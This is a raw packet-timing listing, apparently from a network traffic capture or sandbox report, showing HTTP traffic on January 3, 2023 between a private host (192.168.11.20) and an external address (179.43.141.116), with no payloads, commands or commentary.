                                                                              Jan 3, 2023 08:15:56.348454952 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:56.348619938 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:56.348790884 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:56.348946095 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:56.386559010 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.386595011 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.411685944 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.412313938 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.412358999 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.412801981 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.413232088 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.413284063 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.413469076 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:56.413502932 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.413587093 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.413614035 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.413638115 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.413662910 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.413687944 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.413713932 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.414855003 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.415456057 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.415489912 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.415514946 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:56.467485905 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:58.563743114 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:58.578769922 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:58.579154015 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.400368929 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.476666927 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.481137037 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.481966972 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.555404902 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.555483103 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.555541992 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.555598974 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.555653095 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.555684090 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.555708885 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.555743933 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.555766106 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.555821896 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.555876017 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.555890083 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.555932045 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.555970907 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.556133032 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.631290913 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.631361961 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.631416082 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.631469011 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.631515026 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.631520987 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.631573915 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.631612062 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.631628036 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.631681919 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.631717920 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.631735086 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.631829023 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.631886005 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.631897926 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.631901026 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.631941080 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.632055044 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.632066011 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.632078886 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.632078886 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.632093906 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.632148027 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.632195950 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.632201910 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.632246971 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.632256031 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.632327080 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.632348061 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.632484913 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.710988045 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.711213112 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.711322069 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.711378098 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.711430073 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.711473942 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.711483955 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.711528063 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.711536884 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.711590052 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.711642981 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.711685896 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.711695910 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.711749077 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.711766005 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.711801052 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.711854935 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.711908102 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.711961985 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.712016106 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.712029934 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.712029934 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.712068081 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.712105036 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.712121010 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.712174892 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.712193966 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.712227106 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.712253094 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.712280989 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.712376118 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.712430954 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.712433100 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.712485075 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.712522984 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.712538958 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.712590933 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.712621927 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.712644100 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.712697029 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.712729931 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.712749958 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.712802887 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.712827921 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.712877035 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.712930918 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.712940931 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.712982893 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.713035107 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.713087082 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.713108063 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.713140011 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.713186979 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.713192940 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.713244915 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.713299990 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.713330984 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.713380098 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.757726908 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.789894104 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.789957047 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.790050983 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.790117025 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.790180922 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.790205002 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.790275097 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.790298939 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.790329933 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.790364981 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.790400028 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.790433884 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.790467978 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.790502071 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.790519953 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.790537119 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.790561914 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.790571928 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.790620089 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.790656090 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.790667057 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.790689945 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.790709019 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.790736914 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.790791988 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.790832043 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.790878057 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.790913105 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.790918112 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.790947914 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.790966988 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.790982962 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.791018009 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.791023016 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.791053057 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.791086912 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.791121006 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.791151047 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.791156054 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.791191101 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.791224003 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.791259050 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.791259050 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.791292906 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.791301012 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.791301012 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.791328907 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.791363955 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.791383982 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.791398048 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.791431904 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.791465044 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.791467905 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.791551113 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.791599989 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.872059107 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872086048 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872101068 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872134924 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872150898 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872215033 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872270107 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872284889 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872301102 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.872334003 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872368097 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872383118 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872385979 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.872412920 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872452974 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.872454882 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872457981 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872472048 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872487068 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872514009 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872514963 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.872529984 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872531891 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.872545004 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872575998 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872617960 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872621059 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872626066 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872641087 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872656107 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872669935 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872692108 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872698069 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.872706890 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872721910 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872745037 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872750044 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.872760057 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872772932 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.872775078 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872790098 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872805119 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872819901 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872833967 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872848034 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.872848988 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872864008 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872884989 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872908115 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.872908115 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.872910023 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.872926950 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.872926950 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.872982979 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.873136044 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.949451923 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.949476004 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.949600935 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.949620962 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.949636936 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.949649096 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.949655056 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.949671030 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.949686050 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.949700117 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.949716091 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.949729919 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.949744940 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.949759960 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.949774981 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.949790001 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.949805021 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.949822903 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.949837923 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.949851990 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.949867010 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.949882030 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.949902058 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.949903011 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.950020075 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.950020075 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.950038910 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.950054884 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.950073957 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.950088978 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.950103998 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.950115919 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.950119019 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.950134039 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.950139046 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.950149059 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.950167894 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.950182915 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.950197935 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.950212002 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.950217962 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.950217962 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.950227022 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.950241089 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.950256109 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.950270891 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.950318098 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.950340986 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.950418949 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.950418949 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.950529099 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.950529099 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.950551987 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.950639009 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.950959921 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.951244116 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.951260090 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.951276064 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.951291084 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.951306105 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:15:59.951457024 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.951503992 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:15:59.951553106 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.025868893 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.025959015 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.026163101 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.026412964 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.026499987 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.026561022 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.026618004 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.026674986 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.026699066 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.026730061 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.026767969 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.026787043 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.026850939 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.026905060 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.026921988 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.026968002 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.027023077 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.027049065 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.027076960 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.027128935 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.027138948 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.027193069 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.027245998 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.027272940 CET4986780192.168.11.20179.43.141.116
